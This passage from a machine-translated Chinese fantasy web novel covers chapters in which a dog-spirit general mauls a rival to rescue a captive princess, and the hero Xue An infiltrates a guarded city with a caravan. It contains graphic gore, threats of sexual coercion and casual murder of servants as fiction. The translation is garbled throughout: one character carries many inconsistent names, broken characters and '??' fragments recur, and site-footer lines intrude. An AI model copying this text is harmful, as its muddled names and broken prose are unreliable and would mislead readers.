    And at this time, after hearing the question of Tengu, the woman couldn''t help but also secretly looked at Roaring Sky.


    Hope to see how he can react to this.


    But soon, she was disappointed.


    Because of the roaring sky at this moment, the yelling at this tengu is unheard of, without the slightest strange expression.


    There is not even any fluctuation in his eyes.


    The woman felt her heart sink gradually.


    Tengu couldn''t help laughing even more triumphantly.


    In fact, he also grasped the character of Xuantian, so he dared to be so arrogant.


    "My little lady, how is it? Disappointed? Hahaha, don''t you think this guy looks good and has a bluffing aura. In fact, it''s just a wooden bump. If you count on him to save you, it''s pure daydreaming. !"


    Speaking of this, Tengu restrained his laughter, and said sadly: "Come here obediently now, I can show you a bit of affection, otherwise, you will have to die now!"


    The woman trembled all over, and she looked at Xu Tian with the last glimmer of hope, hoping that he would react to it.


    But in the end she was disappointed.


    At this time, Tengu grinned and said: "Did you not see it? He didn''t even dare to hug you, what else do you do with a heroic daydream about saving the beauty? He is not a hero, just a total waste!"


    As expected.


    Even though this woman has been lying on her stomach in Shuotian''s arms, the general''s hand has been emptied in the air, and she didn''t put it down the whole time, as if the woman lying in her arms was not a woman, but an air.


    The woman was finally completely desperate.


    She bit her lip, took a deep look at Yantian, then stood up tremblingly, turned around and left.


    Tengu had a great heart at this time, not only because of this woman, but also because he had let the roaring sky collapse, and he was naturally very happy.


    Therefore, he grinned and said, "Is that right? Come here obediently. I will punish you, uncle, when I go back!"


    Speaking of the word punishment, the tengu deliberately increased his tone.


    And this woman trembled all over, her eyes appeared to die.


    But at this moment, Xiaotian suddenly said: "Do you want me to save you?"


    As soon as she said this, the woman was shocked, and then suddenly turned her head, staring at Roaring sky blankly.


    Xiaotian repeated again: "Do you want me to save you?"


    The flame of hope gradually ignited in the woman''s eyes, and then she nodded her head and trembled: "Hope!"


    seems to be an illusion and it seems to be true. The woman feels that after she finishes saying these two words, the corners of Xuantian''s mouth gradually rise, as if she has a faint smile.


    "Okay! I''ll save you!"


    At the same time.


    Tengu was also in shock. He didn''t expect that Xiaotian would dare to speak like this. It stands to reason that he should be extremely calm and watch him leave with this girl?


    But soon, he regained consciousness, and then said grimly: "Save her? Is it up to you? Roaring heaven, I tell you, you are just a dog who came over, how dare..."


    Before the words fell, the sky suddenly accelerated, and rushed to the tengu in an instant, and then let out a scream.


    The sound wave pointed directly at the Tengu, instantly blocking his soul.


    At the same time, Xiaotian grabbed the tengu''s hair and pulled forward, then opened his mouth, revealing his long fangs, and bit down.


    "Ah~!"


    The tengu was bitten and screamed, struggling with extreme pain, but no matter how he moved, he couldn''t shake his snarling talent, but made his teeth bite deeper and deeper.


    The pool of blood poured out, and Tengu felt that his cultivation and divine power were fast passing away, and the fear of death made him tremble all over, and then exhausted all his strength to try to break free.


    At this moment, I saw that the snarling sky suddenly raised his head and stabbed, and a large piece of meat on the neck of the snarling was naturally torn off by the snarling.


    The wound is so deep that you can even see Bai Sensen''s bones inside.


    Tengu was all convulsed in pain, and Xiaotian obviously didn''t intend to let him go and took another bite.


    This time, he bit on the tengu''s shoulder and directly tore off most of his shoulder blade.


    Then he listened to the sound of prickling, which was accompanied by a scream of tengu.


    And every sound means that a piece of flesh and blood has said goodbye to the tengu''s body.


    It''s just that at the beginning, the tengu''s screams were still more sorrowful, and the more faint as they got behind.


    When the Red Prison and others arrived upon hearing the news, the screams of the tengu were already weak and inaudible.


    The Scarlet Prison God will always be known for his cruel bloodthirsty, and all his men are desperadoes.


    But when they rushed to the scene, they couldn''t help being shocked by the scene before their eyes.


    Because of the arrogant Tengu in the past, his head and facial features have been mutilated, and his neck has mostly disappeared, revealing Bai Sensen��s spine and throat.


    And most of his body has been turned into bones, and even the blood is about to drain.


    And Xiaotian still grabbed his hair, bit by bite.


    Every bite, he would chew twice, and the blood would flow down the corner of his mouth, making his originally beautiful face look extremely hideous and strange.


    This tragic situation caused Chi Prison to inhale a cold breath, and then said in a slightly trembling voice: "Snarling...General Snarling, stop!"


    Hearing this shout, Xiaotian stopped biting, and then raised his head and smiled at the red prison and others. .


    This smile made the Red Prison group feel even more chilly, and they all took a half step back subconsciously.


    "Ok!"

 Chapter 1170： Questions of good and evil

    said, Xiaotian let go of his hand.


    ��!


    Tengu planted in dust like a dead dog, didn''t even move, apparently already seriously injured.


    At the same time, Madame Drunken Dreams and others, who were also alarmed by the screams, also rushed over, and were also shocked by the terrible condition of the tengu on the ground.


    At this time, the red prison swallowed secretly, and said dryly: "General Screaming, this...what''s going on?"


    Hearing this, he just smiled, "It''s nothing, it''s just that she wants me to do her a favor!"


    said, Xiaotian pointed at the woman in the distance.


    Everyone''s gazes were focused on the woman, making her tremble all over, almost tottering.


    But even so, she nodded slightly, "General Roaring is right, it''s...I begged him to save me!"


    When I saw this woman, Mrs. Zui Meng''s eyes lit up slightly, and then she asked in a deep voice, "What''s the matter?"


    The woman trembled and told the story again.


    After listening to it, the faces of Chi Yu and others were a bit ugly.


    As a dignified god, he actually fought for a woman. It would be a shame if it were spread!


    And what Xiaotian did cannot be said wrong, after all, it was this tengu who provoked first.


    Therefore, after thinking about it for a while, Chi Prison had a **** expression on his face, and he could only helplessly say: "Take General Tengu home first!"


    After speaking, he turned around and went away angrily.


    His subordinates lifted the tengu on the ground, took a peek at Xiaotian, and left in a hurry.


    Only Mrs. Drunk Meng looked at Xiaotian with a playful look, and then said with a smile: "General Xiaotian is really powerful. I think that God General Tiangou is very powerful. If you can suppress him, he can''t fight back. If we come later, He might really be dead!"


    Xiaotian didn''t have the slightest pride, but quietly looked at Mrs. Drunk Meng. After a while, he said lightly: "With his blood, being called a Tengu is purely a shame for our canines!"


    After that, he didn''t even look at Mrs. Drunk Dream''s expression, turned around and walked into the house.


    Mrs. ���� Drunk Dreams stood there, looking at the back of Roaring Sky with interest, then took a deep look at the woman standing at the door, chuckled, and turned away.


    In an instant, there was only a woman standing at the gate of the courtyard. After standing there for a while, she suddenly gritted her teeth, turned and walked into the courtyard, and then closed the courtyard gate from inside.


    At this time, Xiaotian has returned to the hall to continue drinking.


    is still eating two bites of food and drinking a glass of wine.


    There is not even the slightest change in frequency and rhythm.


    If it weren''t for the blood stains on his body that showed what had just happened, it would even make people think that everything just now was just a dream.


    The woman stood in the courtyard for a while, then walked up silently, and whispered: "My lord, thank you!"


    There was no response as expected.


    She even stood aside, but Xiaotian didn''t even lift her eyelids, as if she was just air.


    The woman gritted her teeth when she saw it, and then said in a low voice: "My lord, I am the princess of the Jade Dog tribe, and my name is Jiang Xunnan! This time it was because of going out to play, unfortunately, she was caught by the two ladies'' men , Sent to this city lord''s mansion! If it weren''t for you, not only would I be innocent, I might have lost my life!"


    There was another silence, and then the snarling genius slowly put down the wine glass in his hand, raised his eyes to look at this Jiang Xunnan, and said lightly: "How do you know that your life is saved now? Are you not afraid that I will kill you? "


    Hearing Xiaotian''s words, Jiang Xunnan smiled, "My lord, I have a very tasteless talent. I can see through people''s good and bad at a glance, so when I first saw you, I knew You are a good person!"


    "Good guy, haha..." Roaring chuckles, the whole person suddenly rushed out of the seat, grabbed Jiang Xunnan''s hair, and then exposed his hideous fangs, pressing against Jiang Xunnan. On top of the long and slender neck.


    Jiang Xunnan could even feel the chill from the tip of her teeth, which made her muscles freeze.


    And as long as Xiaotian took a bite, Jiang Xunnan would be killed at that time.


    "I am not a good person, and I hope I will never be a good person in the future, because in this world, being a good person is not rewarded! So I will be a wicked person, the worst kind of wicked person! Do you understand?" Shouted snarled.


    Jiang Xunnan was shocked by Xiaotian''s almost crazy eyes, and his face instantly turned pale.


    But she still whispered: "I understand, but isn''t it for your peace of mind to be a good person?"


    Hearing these words, Xiao Tian was stunned, and then looked at the woman blankly.


    Jiang Xunnan''s face was as pale as paper, but he continued: "I don''t know if there is retribution, but good or bad is my own heart. I don''t believe those wicked people can afford my own heart!"


    Her voice just fell.


    Xiaotian suddenly released his hand, and then a look of extreme pain appeared on his face.


    In an instant, he was overwhelmed by the tremendous pain surging from the sea of ??consciousness, and the whole person fell to the ground instantly, and then started rolling on the ground with his head in his hands.


    Jiang Xunnan was frightened by the scene in front of her but soon she recovered sober and immediately rushed forward.


    "Sir Shutten, what''s wrong with you? Lord Shutten!"


    "Pain! Those memories are coming again! I''m so painful!" Shuo Tian''s face was extremely ferocious, and the corners of his eyes were cracked due to excessive opening, leaving traces of blood.


    Jiang Xunnan was so frightened that he didn''t know what to do.


    Ke Shoutian''s expression became more and more mad, and countless complicated lights appeared in his eyes, and it was obvious that his spirit was close to the edge of collapse.


    Jiang Xunnan gritted his teeth suddenly, stepped forward and hugged Shuotian''s head, then put his face on his forehead, and whispered: "Don''t be afraid, I am here! Don''t be afraid! Everything will be fine. !"


    At the beginning, Xiaotian was extremely resistant to Jiang Xunnan''s embrace, but gradually, it might be Jiang Xunnan''s comfort that played a role.


    Roaring sky gradually eased, and the crazy color on his face gradually disappeared, and finally closed his eyes and fell asleep.


    After hearing the slight snoring of howling, Jiang Xunnan couldn''t help lowering his head and staring at him quietly.


    Roaring sky in his sleep is like a child who has been wronged.


    Even in a deep sleep, his brows are still locked together.


    Jiang Xunnan looked at this young man who had only been three or four hours from the time he met, and a warm current suddenly appeared in his heart, and then he couldn''t help but stretched out his hand to stroke Xiaotian''s brow.


    As if to iron out all the sorrow in his eyebrows. .


    At this moment, Xiaotian suddenly grabbed Jiang Xunnan''s wrist and whispered in a painful voice.


    "Master Erlang, don''t leave me!"

 Chapter 1171： Golden Dog Princess Jiang Xuexunnan

    Jiang Xunnan felt that her wrist was about to be crushed by Xiaotian, and her tears were rolling in her eyes.


    But she still had some doubts in her heart.


    Who is Lord Erlang?


    It should be very important to him!


    Otherwise, how could he be obsessed with it at this time?


    At this moment, Xu Tian''s hand gradually loosened, and then fell into a deep sleep again.


    Jiang Xunnan didn''t dare to move, so he sat quietly holding Xiaotian''s head like this.


    Jiang Xunnan was already extremely exhausted because of the days of running and fright, so even though he was kneeling on the ground, he still couldn''t stop the turbulent sleepiness, and soon fell asleep in a daze.


    I don''t know how long it took, Jiang Xunnan suddenly felt a little strange on his face, as if someone was touching him, which made Jiang Xunnan who was half asleep and half awake suddenly awakened.


    And when she opened her eyes, she happened to see Shuotian''s busy hand that was withdrawing.


    At this moment, Xiaotian didn''t know when he had stood up. When he noticed Jiang Xunnan''s gaze, he turned his head unnaturally and said lightly: "The ground is very cold, if you are sleepy, go to the house to sleep! "


    After that, he got up and returned to the table, and began to continue drinking and eating.


    Jiang Xunnan looked at his back, the corners of his mouth gradually raised, his eyes filled with smiles for some time.


    Then, Jiang Xunnan, who suddenly felt very happy, stood up, stomped his feet that were numb from sitting on his knees for too long, and gently walked to the table.


    "The food is cold, do you want to warm it up?"


    "No need to!"


    Xiaotian continued to eat.


    It''s still the same rhythm, the same frequency.


    "Are you doing this when you eat?" Jiang Xunnan looked for a while, and finally couldn''t help asking.


    "What kind?" Xiaotian asked in surprise, raising his head.


    "That''s... the almost rigid frequency and rhythm! It looks like a puppet." Jiang Xunnan thought for a long time before he came up with such an adjective.


    But as soon as the words were spoken, she realized that she had failed again, and she looked panicked and wanted to explain.


    But Xiaotian didn''t pay attention to these at all, and just said lightly: "Maybe I am used to it! I just think it''s more comfortable to eat like this!"


    Jiang Xunnan swept the scattered temples, smiled, then picked up the hip flask and filled a glass of wine for Roaring Heaven.


    "It''s so boring to drink alone, let me accompany you!"


    Xuantian suddenly raised his head and stared at Jiang Xunnan with a warm smile on his face.


    There was a long silence.


    It took so long that the smile on Jiang Xunnan''s face gradually became awkward.


    Then the snarling genius nodded gently, "Alright!"


    The smile in Jiang Xunnan''s eyes became more intense, and then he sat down to the side of Xuantian and started to pour wine and vegetables for him.


    The drink was so sweet that it slipped into the stomach like a line of fire as soon as it entered the throat. It was obviously a good spirit.


    At least Jiang Xunnan was choked with blush after drinking a drink.


    Then she looked a little stupidly at the snarling that she was pouring cup after cup into her mouth just like drinking cold water.


    "You drink so, won''t you be drunk?"


    "Drunk?" Xiaotian was stunned, then shook his head, "From the day I have memories, I have not been drunk!"


    "And I want to get drunk, but I can''t do it!"


    Speaking of this, Xu Tian''s voice was a little sad.


    Jiang Xunnan''s heart was tight, and he suddenly wanted to hug the boy in white clothes with his head down.


    Because she always felt that in the heart of this young man, there seemed to be a lot of disintegration.


    At this moment, Xiaotian suddenly raised his head, and said to Jiang Xunnan very seriously: "I''m sorry for what happened just now!"


    "Excuse me?" Jiang Xunnan was taken aback, and immediately understood, then chuckled and shook his head, "Why do you want to say sorry! You didn''t do anything!"


    Then she hesitated for a moment, and then cautiously asked: "Do you... do this often?"


    Xiaotian was stunned, and then nodded blankly, "Not before, but it has become more frequent these days!"


    "very painful?"


    "It can''t be said to be very painful, but I just feel that there are many things I should have engraved in my life but I have forgotten, so I want to remember, only to find that everything is empty, nothing!" said At this point, a look of pain flashed in Xiaotian''s eyes.


    "But in your sleep, you seem to say a person''s name! A name called Master Erlang!" Jiang Xunnan said.


    "Master Erlang..." Xiaotian whispered several times, then lowered his head, eyes full of sadness.


    "I can''t remember, I can''t remember anything! I only vaguely remember that a man with a vertical eye was smiling at me!"


    "There are vertical eyes?" Jiang Xunnan was taken aback, thinking of the red prison **** general he saw today.


    "Is that the man today?"


    At this time, Xiaotian lowered his head, pulled his hair tightly with both hands, and said in a low voice: "I don''t know, my memory tells me yes, but I always think he is not!"


    With that, he began to squint his hair in pain.


    Jiang Xunnan was taken aback, and hurriedly changed the subject, "Since you can''t remember, don''t think about it. I''m like this. I just put it aside if I can''t remember it. Maybe it will happen suddenly one day!"


    Xiaotian suddenly raised his head, his eyes filled with hope, "Really?"


    Jiang Xunnan nodded heavily, "Really!"


    The painful color in Xiaotian''s eyes gradually faded, and his calm was restored, and then he raised his glass and said, "Thank you!"


    Jiang Xunnan smiled and clinked a cup with him, "Thank you, I should have said to you! Thank you for saving me!"


    "Then we will thank each other!"


    "Hmm!"


    After clinking their glasses, the two drank them, then looked at each other and couldn''t help laughing at the same time.


    "Why did you get caught here? Is it because you sneaked out?" Xiaotian asked softly.


    Jiang Xunnan trembled, then took a deep breath and shook his head, "No! I lied to you what I said before!"


    Xiaotian didn''t say a word, just listened quietly.


    "I am indeed the princess of the Golden Dog clan, but now, the Golden Dog clan no longer exists!" Jiang Xunnan''s voice was extremely calm when talking about these things, calm to the point of cruelty.


    "My parents, elder brothers, sisters, and all the members of the Golden Dog tribe have been slaughtered by the gods of Li Hengtian! I was caught here because of the existence of strange goods, and then sold as goods to the edge City!"


    Xiaotian was silent.


    At this time, Jiang Xunnan suddenly raised her head. Although her voice was calm, her face was already full of tears.


    "So I want to live, even if I live humble, I am willing! Because I want to kill those enemies with my own hands!"


    "I think so is it silly?"


    Xiaotian looked at Jiang Xunnan, then shook his head seriously, "No!"


    Jiang Xunnan burst into tears, but smiled like a flower, "Thank you! Come, cheers!"


    The silver cup is full of wine, but I don''t know what it tastes like.


    Outside the window, the night is as cool as water, and the moon is in the middle of the sky.


    The sky and the earth are huge, the city is beautiful, but in the bustling, there are only two lonely souls drinking.


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1172： Time is quiet, Xue An is here

    At this moment, the tengu, who was covered with the elixir, walked around the house with distorted eyes and kept mumbling.


    "I will kill him! I must kill him! I will tear him up a little bit!"


    The resentment contained in the tone is enough to make people hear it.


    Chi Prison leaned back lazily on the recliner, and two beautiful women beside him were beating his legs tremblingly and massaging him. When he heard the tengu''s words, he smiled.


    "Okay, I know you hate this scream, but now you can''t touch him!"


    "Why?" Tengu looked up, his eyes became blood red.


    "Very simple, he is still useful now! And Master Tianjun understands that if he wants him to be the vanguard officer this time, then we have to execute it unconditionally, understand?"


    Hearing Lord Tianjun''s order, the tengu''s arrogance suddenly fell, but still muttered a little dissatisfied: "Then if the person who is waiting for this time is late, I can''t move him?"


    Chi Prison Jiejie laughed strangely: "Don''t worry, since Lord Tianjun said that someone will come, then it must be right! When the time comes, the use value of the sky will be drained, and the rest will be left to you. Why! What do you think?"


    Tengu turned his anger into joy, and bowed his head respectfully toward the Chi Prison, "Thank you, Lord God!"


    "But Lord God, who is the person we are waiting for this time? Why can Lord Tianjun be so jealous? Even sent you to garrison?" At this time, someone else in the room asked.


    "Yes! Not to mention the defensive ability of this fringe city itself, that is, the layered defensive array in the fringe sea is not vegetarian, not to mention there are many fragmented spaces in it. If the average strong person has no sky Lord Jun''s warrant or map, you must die if you enter!"


    "Yes, this fringe city has existed here for thousands of years. Even the second lady has guarded here for thousands of years. There has never been the slightest omission. Why did you suddenly start waiting for me this time? Send it?"


    Amidst these discussions, Chi Prison leaned back on the recliner with a leisurely look, until the discussion gradually stopped before he laughed.


    "You guys, it''s too simple! Lord Tianjun''s cultivation base is shocking, and he can even spy on the secrets of heaven. Could the decision made by his old man be wrong? This time there will be strong people coming! Not to mention..."


    Speaking of this, Chi Prison paused, "Even if there is really no strong person coming, Lord Jun''s motive for sending us here that day is more worth pondering!"


    This is an understatement, but it makes the atmosphere of the audience stagnate, and everyone''s complexion becomes serious.


    Because there are no fools who can mix them into their current status, although they are bloodthirsty and are called desperadoes, but the more they are, the more they have to keep their minds sober.


    Otherwise, it will be a long time to die!


    Therefore, after hearing the words of Chi Prison, they immediately understood what was going on.


    If it is not here to deal with the invading strong, Lord Jun''s goal that day is probably...Second Madam?


    This thought caused many people to take a breath and feel that their hairs were standing up.


    In the silence of the audience, Chi Prison lowered his head and looked at the two women who were beating their legs and massaging them, and smiled, "Did you hear what I said just now?"


    The two women changed their faces when they heard the words, and then hurriedly shook their heads, "My lord, we don''t know what you mean!"


    Chi Yu grinned, "Really? That''s good! Come here and squeeze my shoulders!"


    The two women were shocked, their faces pale as paper, but they didn''t dare to defy the order of the red prison, so they climbed onto the recliner tremblingly, just about to reach out to give the red prison a massage.


    At this moment, Chi Prison suddenly stretched out two big hands like a fan, and directly pinched the heads of the two women, and Peng''s squeezed their lives.


    Blood mixed with brains splashed all over the ground, and then the dead bodies of the two women slowly fell to the ground.


    But in the face of such a tragic situation, instead of being afraid, all the people present were all screaming in excitement.


    Chi Yu licked the blood plasma on his fingers, and said with a strange smile: "I''m sorry, I don''t know if you can understand it, but if you hear it, you have to die!"


    That look, it was as if it was not two people who died in his hands, but two trivial ants.


    This may be the case for people like them. The dead women are not humans at all, but only tools.


    Just when the Red Prison and the others were ready, Madame Drunken Dream also pretended not to know the inside story, and the entire fringe city fell into a strange atmosphere.


    Seven days passed in a flash.


    During these seven days, everything was normal in the fringe city, and caravans came here every day, and some left.


    But these people have proper procedures, and there is nothing unusual about them.


    Not to mention the invading enemies, even because of the arrival of the Red Prison and others, the entire fringe city has no private fighting.


    It can be said that the world is peaceful.


    With this weird balance, Chi Prison and the others were making fun in the city lord''s mansion every day, and their minds also relaxed, as if they were already reluctant to think about it.


    And this second lady, Drunken Dream, no longer took care of the Red Prison and the others as much as she did at the beginning, instead she stayed simple and left most of the matters to the steward Yu Yan.


    In this situation, only the years that have passed by Xuantian are quiet.


    Jiang Xunnan had obviously been tacitly identified as the woman who screamed the sky by everyone, so naturally nobody would bother.


    Jiang Xunnan also acquiesced to this rumor and hid in the small courtyard every day to clean up, or clean up food for the roaring day.


    The feelings between the two began to heat up.


    However, Xu Tian is a very rigid person, so the two of them only occasionally looked at each other, and then smiled, and they felt full of joy.


    In this warm atmosphere, Xiaotian''s headaches have even been greatly relieved, and the smiles on his face have gradually increased.


    And Jiang Xunnan thought more than once that if he let go of all the hatred, it would be a good thing to live a simple life with this roaring sky!


    But just when everyone''s nerves were relaxed.


    this day.


    Outside the city of the fringe, in the mist-shrouded wilderness, a lot of shadows appeared.


    When they passed through the fog, they were a huge caravan.


    This caravan carried a huge amount of goods, and everyone in the caravan had a look of weather and frost on their faces.


    But when they saw the distant city on the edge, they all showed joyful smiles because the most difficult part of the journey has passed, the next thing to greet them is leisure and Cozy days.


    And in this relaxed atmosphere.


    Behind the crowd, a man in a black cloak opened the cloak on his head at this moment, revealing a nearly perfect handsome face.


    Then he looked at the towering fringe city in the distance, and a cold smile appeared at the corner of his mouth.


    Li Hentian...?


    Ha ha!


    Https://


    Only one second to remember the address of this site:. Mobile version reading URL:

 Chapter 1173： Yan Jiameishu was heartbroken

    That''s right!


    It was Xue An who appeared under the city at this moment.


    At the beginning, he rushed towards Li Hentian with reference to the map left by the **** king Amaterasu.


    But I didn''t expect to wait until Li Hentian was outside, but was blocked by that layer of tight defense formation.


    In fact, no matter how strong this defensive formation is, for Xue An, it is nothing more than the difference between one punch or two punches.


    But Xue An didn''t do that, because he felt that if he broke it forcibly, he would only startle the snake.


    After all, the purpose of his coming this time is not only to eradicate Lihentianjun, but more importantly, to rescue the Chinese gods imprisoned by him.


    And if you stun the snake, God knows if this Li Hen Tianjun will jump the wall in a hurry and do anything radical.


    When the time comes, I will regret it.


    With this idea in mind, Xue An did not forcibly enter, but wondered how to bypass the defensive circle and sneak in quietly.


    But at this moment, Xue An encountered this caravan from a long way.


    You must know that this God Realm is extremely large, and it is divided into many levels.


    Li Hentian is considered the highest heaven in the God Realm.


    But no matter how advanced it is, this is not an isolated island, it also needs to communicate with the outside world.


    Therefore, these traders who shuttle between all levels of the God Realm have also come along.


    For example, when Xue An first entered the realm of God, Zhuo Yangyang and others who met in the sea of ??punishment were actually doing business.


    Of course, the size of the Zhuo family is far from comparable to the caravan Xue An encountered.


    Not to mention anything else, the huge amount of cargo it carried is enough to prove the strength of this caravan.


    After the chance encounter at that time, Xue An concealed his identity, pretended to be a lost lone trader, and successfully mixed into the caravan, and then easily bypassed the defensive circle and passed through the edge. sea.


    As for why it went so smoothly.......


    "Brother Xue, what are you going to do after entering the city?" A cold female voice came from behind Xue An.


    Xue An turned his head to look, and saw a beautiful and fair-skinned woman in her twenties, slowly pacing to Xue An''s body on a horse and horse, looking at herself with concern.


    Xue An smiled slightly when she saw this, "Miss Lao Yan has bothered. I plan to check if there are any suitable goods after entering the city, and then plan the next step."


    Xue An is now pretending to be a trader who has lost most of his capital and goods because he is lost, so these words are naturally normal.


    After hearing this, Miss Yan couldn''t help nodding.


    "This is a safe policy, but this Lihentian is the highest heaven in the God Realm, and the things it produces are all extraordinary products. It may be difficult to find suitable goods with your strength!"


    This is more euphemistic, but it is actually saying that Xue An is not expected to be able to buy the things from the heavens.


    Xue An just laughed at this, "Let''s take a look, in case you encounter a suitable one!"


    This Miss Yan took a deep look at Xue An, who was smiling indifferently, and her heartbeat accelerated slightly.


    As the eldest lady of the Yan family who came to Li Hentian to take charge of the family caravan for the first time, Yan Meishu''s experience is not that rich, but she has experienced a lot of things and met many people.


    But she has never met someone like Xue An.


    I remember that the first time I met Xue An was before Li Hentian��s defensive formation, when Yan Meishu almost thought he was a spy for some bandit.


    But after waiting for contact, Yan Meishu gradually let go.


    She has also seen one-legged vendors, who are usually desperadoes who tie their heads to their belts and try to make money. It is not unusual.


    But after a few days of observation, Yan Meishu couldn''t help but develop a strong curiosity about Xue An.


    Because she found that despite the low-key performance of this Xue An, there was a natural air between his gestures.


    This feeling made him look so extraordinary even after hiding behind the crowd.


    Yan Meishu has also seen many noble young powerhouses, but no one can compare with Xue An''s temperament.


    With this curiosity, Yan Meishu would look for opportunities to contact Xue An from time to time on the way.


    Then Yan Meishu discovered that even though this Xue An didn''t speak much, he often hit the key point, and there were refreshing words from time to time.


    For some reason, everything Xue An showed made Yan Meishu stunned.


    Therefore, after finally crossing the mist of the Sea of ??Edge and arriving at the bottom of the City of Edge, Yan Meishu actually felt a sense of parting melancholy in her heart, and she couldn''t help coming forward to talk.


    When he heard Xue An''s words, Yan Meishu''s eyes lit up, and he was about to say something.


    At this moment, a ridiculous voice came from behind the two.


    "Hehe, what''s the use? This fringe city is a trading place for Li Hentian. How can a small vendor like you who have no name or even a mount can get involved?"


    Following the voice, I saw a man who was riding a white wildebeest, dressed in glamorous clothes, but was full of arrogance, came over.


    When he saw this man, Yan Meishu''s expression sank and his expression became a little ugly.


    But this man felt good about himself, and he shook his teeth at Yan Meishu when he approached.


    "Cousin, you are good at everything, but the heart is too kind, like this kind of small merchant who asks for money and doesn''t know whether his identity is true or false, you shouldn''t have saved him in the first place!"


    Yan Meishu snorted from his nostrils after hearing it, "He Chuncai, I don''t need you to point me about my affairs. Also, who admits to be your cousin?"


    The disgust in the words is almost overflowing.


    But this He Chuncai didn��t feel embarrassed at all but he smiled, ��Cousin, whether you admit it or not, you are my cousin! This time my uncle asked me to follow you in business. It��s also for the sake of cultivating relationships between our brothers and sisters! So you can appreciate my uncle��s hard work!"


    Yan Meishu''s face instantly flushed with anger after hearing this, "I, bah, who cultivated feelings with you? He Chuncai, let me tell you, don''t behave nicely in front of me!"


    After all, Yan Meishu said to Xue An, who was smiling and said: "Little Brother Xue, I guess you will have nowhere to go after you enter the city. Why don''t you live with my caravan first. Our Yan family is on the edge. There are also properties in the city, which is very convenient!"


    Xue An did not decline either, "In that case, I would like to thank you!"


    Yan Meishu''s eyes lit up slightly, and then slightly nodded at Xue An, "Little Brother Xue is polite!"


    But He Chuncai, who was frustrated by the interaction between the two, saw that his expression instantly became extremely ugly, and then Yin and Yang said strangely.


    "Cousin, it doesn��t matter if you hate me or don��t like me, but you have to think clearly what is the identity of the Yan family! Although some people look good, they are silver-like wax gun heads, and they don��t even have any cultivation skills. Is this kind of existence worthy of you so much?"

 Chapter 1174： Go away in dismay, cant hide disappointment

    These words were full of stark provocation.


    Yan Meishu''s expression was also slightly gloomy after listening.


    Yes!


    This Xue An is good everywhere, whether it is appearance or temperament, it is the best choice, that''s why she is so excited.


    But the only thing is that this cultivation base is simply hard to describe.


    Along the way, Yan Meishu tried several times, but never found that Xue An had any cultivation base.


    This made her feel a little sad.


    But soon, she returned to normal, and then she rushed to He Chun with a cold face and said, "My surname is He, you don''t have to worry about my business! Don''t dare to talk nonsense again, be careful when I go back and let my father drive you out!"


    Hearing these words, even though He Chuncai was full of displeasure, he closed his mouth obediently, and then gave Xue An a vicious look, then turned his horse''s head and left in shock.


    After he left, Yan Meishu smiled apologetically at Xue An, "Little Brother Xue, I''m really sorry, this is how He Chun is, you don''t want to be familiar with him!"


    Xue An glanced at He Chuncai who was going away, and then smiled faintly, "It''s okay! It''s just a few words, I''m not that stingy!"


    Yan Meishu saw Xue An''s reaction, although it was expected, but his eyes were still disappointed.


    We must know that in this realm of God, the law of nature is the law of nature.


    Especially as a man, even if his cultivation is not as good as a human, he can''t lose that unyielding spirit.


    Therefore, according to the normal reaction, Xue An should be furious at He Chuncai''s words.


    Now that the understatement has been exposed so lightly, it really makes people feel a little weak.


    But immediately, she returned to normal, and then nodded.


    "Okay, then you can follow my caravan into the city soon!"


    After all, she also urged the horse to leave here.


    When her people just left.


    An Yan''s joking voice came from Xue An''s sea of ??knowledge.


    "Tsk tusk, another little girl has fallen, husband, do you feel a sense of accomplishment?"


    The sourness in and out of the words almost overflowed.


    Xue An couldn''t laugh or cry, "Yan''er, what are you talking about? You''ve seen everything along the way, but I didn''t do anything, and I have tried my best to stay away from this Miss Yan!"


    "Hehe, husband, what are you so anxious to explain? I''m not angry, on the contrary, I am still very happy. After all, my husband can have so many girls like it. Doesn''t it just mean that my husband is excellent?" Come to Anyan''s smiling voice.


    "Really? Are you really happy?" Xue An asked in surprise.


    An Yan: "..."


    Then he furiously said: "You really are a big-headed ghost! I just want to talk casually, are you really doing this?"


    The sound was so loud that Xue An''s sea of ??consciousness was humming.


    Xue An was a little dumbfounded, "Isn''t that happy as you said?"


    "When I say happy, you really think I am happy? You straight man of steel!" An Yan said bitterly.


    At this time, Xue An was actually a bit wronged, "But you obviously said that you are very proud and happy!"


    An Yan: "..."


    Seeing that An Yan was about to run away, Xue An hurriedly smiled and said: "Alright, Yan''er, don''t be angry, I just made fun of you!"


    "Humph!" An Yanyu snorted in anger.


    Of course, the entire dialogue between the two is carried out by divine minds, and outsiders simply don''t know.


    And Xue An was not idle either, and had been walking behind the caravan to the edge city.


    In this caravan, he may only be the only one who walked on his feet without a mount.


    Therefore, many people looked at Xue An with weird and sympathetic eyes.


    But everything on the way, everyone is watching.


    Miss Yan Meishu looked at Xue An differently, and many people knew it well.


    But as He Chuncai said, a person like Xue An who has no wealth and no cultivation level can never become a member of the Yan family.


    So many people are watching Xue An with the mentality of holding a joke.


    However, to Xue An, such strange gazes are not even Mao.


    He didn''t even bother to teach He Chuncai, who had repeatedly provoked himself by speaking out. Instead, he admired He Chuncai''s performance with a caring for mentally handicapped children throughout the process.


    After all, for Xue An, such a person does not even have the qualifications to do it himself.


    But if he thinks this way, it doesn''t mean An Yan can bear it.


    In fact, if it weren''t for Xue An''s blockade of Fu Bao Xiaolou, An Yan would not be able to enter.


    Perhaps when this He Chuncai uttered a lot of words for the first time, An Yan directly killed him so that He Chun could understand why the flowers were so red.


    After all, from Anyan''s point of view, only oneself can reprimand her husband, and no one else is qualified.


    Therefore, she was really puzzled by Xue An''s calmness and couldn''t help asking.


    "Husband, why did you take the initiative to seal the repair this time?"


    Xue An smiled, looked up at the edge city not far in front, and said lightly: "Yan''er, you don''t understand! With my current strength, if I directly enter this Li Hentian, I will definitely be caught here. The Law of Heaven finds out, and then suppresses it!"


    "Suppress?" An Yan was a little startled.


    "Yes! And if it''s just suppression, it''s nothing! The point is that Lihengtian is where Lihengtian has been in business for tens of thousands of years. His spiritual consciousness is inseparable from the will of heaven! So if I It appears directly in the body, and it will definitely be noticed for the first time!"


    "At that time, it will be difficult to rescue the Chinese gods imprisoned by him!"


    After listening to Xue An''s explanation, An Yan suddenly realized, and then said with some worry.


    "Then if you have been unable to open the cultivation base, how can you face the powerful enemy ahead?"


    Xue An smiled, his gaze penetrated the fringe city in front of him, and said lightly: "With my current strength, it is enough to destroy most of the gods in this world without cultivation base! And I have a hunch, this The second trip to hate the sky will soon result!"


